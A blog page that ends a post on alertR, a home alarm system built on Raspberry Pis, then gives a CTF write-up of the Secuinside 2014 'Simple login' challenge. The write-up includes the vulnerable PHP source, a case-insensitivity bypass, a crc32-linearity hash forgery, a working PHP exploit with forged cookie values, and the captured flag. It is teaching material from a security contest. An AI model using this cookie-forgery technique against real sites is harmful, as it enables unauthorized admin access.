The same circuit I used to connect the water leak alarm (link in German) and the smoke detectors (link in German) to alertR. But I do not like to fiddle with both of these sensors. They will lose their certification if you do so and in the worst case they do not work afterwards. So I used sensors with a built-in relais and used the relais as switch in the circuit seen above.

For the 2 sirens that are switched on by Raspberry Pis, the circuit looks a little bit more complicated, but is still pretty easy to build yourself. Here is a simple schematic of the circuit:



I used the 5V of the Raspberry Pi as power supply for the siren. But you can use any other power supply for it (for example if 5V is to low for the siren). Just keep in mind that the relais have to be able to work with your chosen power supply. But having sirens on your alertR setup does not mean they will be used for any alarm that is triggered. You can configure each sensor in the way you want. You can configure alertR in such a way, that it will switch on the sirens when a window is opened, but only send you an eMail when a server that is watched is not reachable anymore. For this alertR provides you with "alert levels" which can be thought of like categories. You can configure each alert level in the way you like.

alertR also gives you the possibility to be controlled via your mobile device. Here is a picture of my mobile device showing the alertR app:



Green means that the sensor is in a normal state, yellow means that the sensor is in a triggered state. A triggered state does not necessarily mean that an alert is triggered. Perhaps you have sensors you just want to watch via alertR but they should not trigger any alarm (for example if you use alertR just to collect the data and read the data directly from the database). You can configure each sensor if it should trigger an alarm or not.

To be able to activate or deactivate the alerting system when you leave/enter the apartment, I set up a keypad client that can be used for it:



With this client everyone who knows the correct PIN can activate alertR, deactivate it or activate it in a 30 seconds delay. The last option is handy when you want to leave the apartment. In order to not directly turn on the sirens when anyone enters the apartment through the entrance door, you can configure sensors to trigger an alert in x seconds delay. This means when someone enters the apartment through the door, he has x seconds time to deactivate alertR via the keypad (or mobile device or ...).

Some sensors should also trigger an alarm when the alerting system is deactivated. For example the smoke detector should always trigger an alarm. This can be configured for each sensor as well.


Final words

My setup is now being used for almost a month without any problem. So if you are interested in this project, feel free to use it. And if some functionality is missing that you want (for example a friend of mine wants a RFID activate/deactivate client) you can easily add it yourself. The code, protocol and database layout lies documented in the github repository. And if you want, you can add your client to the alertR repository.

Secuinside CTF Prequal 2014 - Simple login (web200) write up

I actually did not want to write a write-up for this challenge. But the only write-up I found so far used a brute-force attack against this challenge. So here is our (FluxFingers) write-up with a much more elegant way.

The task was to log in as admin to a website. The source could be downloaded and analyzed. If you looked at "index.php" you saw this:


<?
        include "config.php";
        include "common.php";

        $common = new common;

        if($common->islogin()){
                if($common->isadmin())  $f = "Flag is : ".__FLAG__;
                else $f = "Hello, Guest!";
//[...]
 


So obviously we have to pass the "islogin()" and isadmin()" function. Let us take a look at the common class:


<?
        class common{
                public function getidx($id){
                        $id = mysql_real_escape_string($id);
                        $info = mysql_fetch_array(mysql_query("select idx from member where id='".$id."'"));
                        return $info[0];
                }

                public function getpasswd($id){
                        $id = mysql_real_escape_string($id);
                        $info = mysql_fetch_array(mysql_query("select password from member where id='".$id."'"));
                        return $info[0];
                }

                public function islogin(){
                        if( preg_match("/[^0-9A-Za-z]/", $_COOKIE['user_name']) ){
                                exit("cannot be used Special character");
                        }

                        if( $_COOKIE['user_name'] == "admin" )  return 0;

                        $salt = file_get_contents("../../long_salt.txt");

                        if( hash('crc32',$salt.'|'.(int)$_COOKIE['login_time'].'|'.$_COOKIE['user_name']) == $_COOKIE['hash'] ){
                                return 1;
                        }

                        return 0;
                }

                public function autologin(){

                }

                public function isadmin(){
                        if( $this->getidx($_COOKIE['user_name']) == 1){
                                return 1;
                        }

                        return 0;
                }

                public function insertmember($id, $password){
                        $id = mysql_real_escape_string($id);
                        mysql_query("insert into member(id, password) values('".$id."', '".$password."')") or die();

                        return 1;
                }
        }
?>
 


We see some MySQL queries. Unfortunately for us, they are escaped. We have to pass the "isadmin()" function. So the function uses the user name from the cookie and gets the index from the MySQL DB. We assume that the index for the "admin" user is 1 (because of the function name).

Ok, in the "index.php" we have to pass also the "islogin()" function. So we see the username has to contain only alphanumeric values and it can not be "admin". Luckily for us, MySQL is case-insensitive. This means we can use "ADMIN" as a user name, pass the check in the "islogin()" function and still get the correct index from the MySQL DB.

Ok, the next obvious thing is the hash we have to give correctly. It uses "crc32" (best crypto hash ever). We know crc32 is linear with respect to XOR. So, we can sign up with an username with the same length as "ADMIN" (we used "qwert"). Log in with this username, change the username in our cookie to "ADMIN" and XOR the crc32 hash of "qwert XOR ADMIN" to the hash we send to the server. This should pass the hash check. So we tried "crc32(x) XOR crc32(y) == crc32(x XOR y)" but it failed in our tests. We searched for it on the internet and always found this formula (hell, even in some of our lecture notes this formula is given). But it does not work for us. After a while we found out that the formula has to be "crc32(x) XOR crc32(y) XOR crc32(z) == crc32(x XOR y XOR z)". With this formula the linearity works. But now we have three values to consider. We used 5 Null-bytes. This does not change the username value and for the hash we can XOR a crc32 hash of 5 Null-bytes to the hash.

To make sure, everything works we used php to create our exploit, because we do not know if php fucks something up with the crc32 hash. So here is our exploit:


<?php

// qwert is registered
$username = "qwert";
// PW: qwert123


// qwert ^ 03(;: = ADMIN <--- MySQL is not case-sensitiv
$blah = "03(;:";

$blahHash = hexdec(hash('crc32', $blah));


// original cookie value when logged in:
// Cookie: login_time=1401570086; user_name=qwert; hash=fbd7bc71
$correctHash = hexdec("fbd7bc71");

echo dechex($blahHash ^ $correctHash ^ hexdec(hash('crc32', "\x00\x00\x00\x00\x00")));


// cookie value for exploit:
// Cookie: login_time=1401570086; user_name=ADMIN; hash=4effb88a
?>
 


We used our new hash value and we got back:


ADMIN Logined
Flag is : fd602a942c1cd716963996cf96e87847
 


Let me conclude this write-up with some words to the CTF. I liked it very much. But the practice to open only some challenges and the time difference to our country sucked a lot. During the time we played the most, only three challenges were available for us (the others were already solved by us and the three not solved were afaik only solved by 2 or 3 teams in the end). Then when we slept, all the other new challenges were opened and when we got back, we had only 2-3 hours for this challenges until the end of the CTF. Nevertheless, it was a great CTF and I want to thank the organizers for their great work!
Categories: CTF